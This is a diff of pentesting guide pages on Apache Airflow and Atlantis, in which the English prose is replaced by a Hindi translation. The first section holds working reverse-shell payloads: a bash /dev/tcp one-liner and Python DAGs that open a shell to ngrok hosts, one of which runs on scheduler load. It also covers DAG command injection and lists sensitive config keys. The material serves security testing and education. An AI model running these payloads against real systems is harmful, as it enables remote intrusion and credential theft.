+bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
+)
```
```python
@@ -105,75 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
with DAG(
- dag_id='rev_shell_python',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python',
- python_callable=rs,
- op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
- )
+run = PythonOperator(
+task_id='rs_python',
+python_callable=rs,
+op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
+)
```
+#### DAG बैकडोर (Airflow शेड्यूलर में RCE)
-#### DAG Backdoor (RCE in Airflow scheduler)
-
-If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
-
+यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के क्षण में, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद।
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
- dag_id='rev_shell_python2',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python2',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python2',
- python_callable=rs,
- op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
+run = PythonOperator(
+task_id='rs_python2',
+python_callable=rs,
+op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
-
#### DAG Creation
-If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
+यदि आप **DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं**, तो आप `dags/` फ़ोल्डर में नए **DAGs स्क्रिप्ट** बना सकते हैं और ये **DAG क्लस्टर के अंदर बाकी मशीनों में दोहराए जाएंगे**।
#### DAG Code Injection
-When you execute a DAG from the GUI you can **pass arguments** to it.\
-Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
-That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
+जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** पास कर सकते हैं।\
+इसलिए, यदि DAG सही तरीके से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\
+यही इस CVE में हुआ: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
-
-Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
+आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ जानने की आवश्यकता है, वह यह है कि** **पैरामीटर्स** **कोड** **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं।
+इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **एक्सेस किया जाता है**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-
-If they are used for example inside a a bash command, you could perform a command injection.
+यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं।
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5fd8e486b..43acd38fd 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -4,112 +4,102 @@
## Configuration File
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+**Apache Airflow** सभी एयरफ्लो मशीनों में एक **config file** उत्पन्न करता है जिसे **`airflow.cfg`** कहा जाता है, जो एयरफ्लो उपयोगकर्ता के होम में होता है। यह config file कॉन्फ़िगरेशन जानकारी रखती है और **दिलचस्प और संवेदनशील जानकारी हो सकती है।**
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+**इस फ़ाइल तक पहुँचने के दो तरीके हैं: कुछ एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।**
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` जैसे env वेरिएबल सेट करके ओवरराइट कर सकते हैं।
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
+यदि आपके पास **वेब सर्वर में config file तक पहुँच है**, तो आप उसी पृष्ठ पर **वास्तविक चल रही कॉन्फ़िगरेशन** की जांच कर सकते हैं जहाँ config प्रदर्शित होता है।\
+यदि आपके पास **एयरफ्लो वातावरण के अंदर किसी मशीन तक पहुँच है**, तो **पर्यावरण** की जांच करें।
-Some interesting values to check when reading the config file:
+config file पढ़ते समय जांचने के लिए कुछ दिलचस्प मान:
### \[api]
-- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- - You can also **create you own authentication** method with python.
-- **`google_key_path`:** Path to the **GCP service account key**
+- **`access_control_allow_headers`**: यह **CORS** के लिए **अनुमत** **हेडर** को इंगित करता है
+- **`access_control_allow_methods`**: यह **CORS** के लिए **अनुमत विधियों** को इंगित करता है
+- **`access_control_allow_origins`**: यह **CORS** के लिए **अनुमत मूल** को इंगित करता है
+- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं यह निर्धारित करने के लिए कि कौन API तक पहुँच सकता है:
+- `airflow.api.auth.backend.deny_all`: **डिफ़ॉल्ट रूप से कोई भी** API तक पहुँच नहीं सकता
+- `airflow.api.auth.backend.default`: **सभी** बिना प्रमाणीकरण के इसे एक्सेस कर सकते हैं
+- `airflow.api.auth.backend.kerberos_auth`: **केरबेरस प्रमाणीकरण** कॉन्फ़िगर करने के लिए
+- `airflow.api.auth.backend.basic_auth`: **बुनियादी प्रमाणीकरण** के लिए
+- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है ( [**यहां**](https://cloud.google.com/composer/docs/access-airflow-api) से)।
+- `composer_auth_user_registration_role`: यह **भूमिका** को इंगित करता है जो **कंपोज़र उपयोगकर्ता** को **एयरफ्लो** के अंदर मिलेगी (**Op** डिफ़ॉल्ट रूप से)।
+- आप **पायथन** के साथ अपना खुद का प्रमाणीकरण विधि भी **बना सकते हैं**।
+- **`google_key_path`:** **GCP सेवा खाता कुंजी** का पथ
### **\[atlas]**
-- **`password`**: Atlas password
-- **`username`**: Atlas username
+- **`password`**: एटलस पासवर्ड
+- **`username`**: एटलस उपयोगकर्ता नाम
### \[celery]
-- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url which may contain **credentials**.
-- **`ssl_cacert`**: Path to the cacert
-- **`ssl_cert`**: Path to the cert
-- **`ssl_key`**: Path to the key
+- **`flower_basic_auth`** : क्रेडेंशियल (_user1:password1,user2:password2_)
+- **`result_backend`**: पोस्टग्रेस यूआरएल जिसमें **क्रेडेंशियल** हो सकते हैं।
+- **`ssl_cacert`**: कैसर्ट का पथ
+- **`ssl_cert`**: प्रमाणपत्र का पथ
+- **`ssl_key`**: कुंजी का पथ
### \[core]
-- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-- **`fernet_key`**: Key to store encrypted variables (symmetric)
-- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-- **`security`**: What security module to use (for example kerberos)
+- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` स्ट्रिंग्स नहीं हैं।
+- **`fernet_key`**: एन्क्रिप्टेड वेरिएबल्स को स्टोर करने के लिए कुंजी (संपूर्ण)
+- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएं।
+- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केरबेरस)
### \[dask]
-- **`tls_ca`**: Path to ca
-- **`tls_cert`**: Part to the cert
-- **`tls_key`**: Part to the tls key
+- **`tls_ca`**: ca का पथ
+- **`tls_cert`**: प्रमाणपत्र का भाग
+- **`tls_key`**: tls कुंजी का भाग
### \[kerberos]
-- **`ccache`**: Path to ccache file
-- **`forwardable`**: Enabled by default
+- **`ccache`**: ccache फ़ाइल का पथ
+- **`forwardable`**: डिफ़ॉल्ट रूप से सक्षम
### \[logging]
-- **`google_key_path`**: Path to GCP JSON creds.
+- **`google_key_path`**: GCP JSON क्रेड्स का पथ।
### \[secrets]
-- **`backend`**: Full class name of secrets backend to enable
-- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+- **`backend`**: सक्रिय करने के लिए रहस्यों के बैकएंड का पूरा वर्ग नाम
+- **`backend_kwargs`**: backend_kwargs पैरामीटर को एक शब्दकोश में लोड किया जाता है और रहस्यों के बैकएंड वर्ग के **init** में पास किया जाता है।
### \[smtp]
-- **`smtp_password`**: SMTP password
-- **`smtp_user`**: SMTP user
+- **`smtp_password`**: SMTP पासवर्ड
+- **`smtp_user`**: SMTP उपयोगकर्ता
### \[webserver]
-- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-- **`cookie_secure`**: Set **secure flag** on the the session cookie
-- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+- **`cookie_samesite`**: डिफ़ॉल्ट रूप से यह **Lax** है, इसलिए यह पहले से ही सबसे कमजोर संभव मान है
+- **`cookie_secure`**: सत्र कुकी पर **सुरक्षित ध्वज** सेट करें
+- **`expose_config`**: डिफ़ॉल्ट रूप से False है, यदि सत्य है, तो **config** को वेब **कंसोल** से **पढ़ा** जा सकता है
+- **`expose_stacktrace`**: डिफ़ॉल्ट रूप से यह सत्य है, यह **पायथन ट्रेसबैक** दिखाएगा (संभावित रूप से हमलावर के लिए उपयोगी)
+- **`secret_key`**: यह **कुंजी है जिसका उपयोग फ्लास्क कुकीज़ पर हस्ताक्षर करने के लिए किया जाता है** (यदि आपके पास यह है तो आप **एयरफ्लो में किसी भी उपयोगकर्ता का अनुकरण कर सकते हैं**)
+- **`web_server_ssl_cert`**: **SSL** **प्रमाणपत्र** का **पथ**
+- **`web_server_ssl_key`**: **SSL** **कुंजी** का **पथ**
+- **`x_frame_enabled`**: डिफ़ॉल्ट **सत्य** है, इसलिए डिफ़ॉल्ट रूप से क्लिकजैकिंग संभव नहीं है
### Web Authentication
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
-
+डिफ़ॉल्ट रूप से **वेब प्रमाणीकरण** फ़ाइल **`webserver_config.py`** में निर्दिष्ट है और इसे इस प्रकार कॉन्फ़िगर किया गया है
```bash
AUTH_TYPE = AUTH_DB
```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
+जिसका मतलब है कि **प्रमाणीकरण डेटाबेस के खिलाफ जांचा जाता है**। हालाँकि, अन्य कॉन्फ़िगरेशन संभव हैं जैसे
```bash
AUTH_TYPE = AUTH_OAUTH
```
+**तीसरे पक्ष की सेवाओं** को **प्रमाणीकरण** छोड़ने के लिए।
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
+हालांकि, **गुमनाम उपयोगकर्ताओं को पहुंच** की अनुमति देने का एक विकल्प भी है, निम्नलिखित पैरामीटर को **चाहे गए भूमिका** पर सेट करना:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 7ff782327..80c4c84d6 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,44 +4,40 @@
## RBAC
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**। **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**। लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना।
-- **`Admin`** users have all possible permissions.
-- **`Public`** users (anonymous) don’t have any permissions.
-- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-- **`Op`** users have `User` permissions plus additional op permissions.
+- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं।
+- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं।
+- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए)। यह **कॉन्फ़िगरेशन नहीं देख सकता।**
+- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं। वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है।**
+- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं।
-Note that **admin** users can **create more roles** with more **granular permissions**.
+ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं।
-Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
+यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op** ऐसा करने में सक्षम होगा।
### Default Permissions
-These are the default permissions per default role:
+ये डिफ़ॉल्ट भूमिकाओं के लिए डिफ़ॉल्ट अनुमतियाँ हैं:
- **Admin**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
+\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Views/Menus पर Permission पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं]
- **Op**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
+\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं]
- **User**
-\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
+\[DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं]
- **Viewer**
-\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
+\[DAGs पर पढ़ सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index a4b35140f..6df4f17e7 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -4,109 +4,109 @@
### Basic Information
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantis मूल रूप से आपको आपके git सर्वर से Pull Requests से terraform चलाने में मदद करता है।
.png>)
### Local Lab
-1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
-2. Create a **personal token** (with repo access) of your **github** user
-3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
- 1. You can access the web page in 127.0.0.1:4141
+1. **atlantis releases page** पर जाएं [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) और **डाउनलोड** करें जो आपके लिए उपयुक्त हो।
+2. अपने **github** उपयोगकर्ता का **व्यक्तिगत टोकन** (repo एक्सेस के साथ) बनाएं।
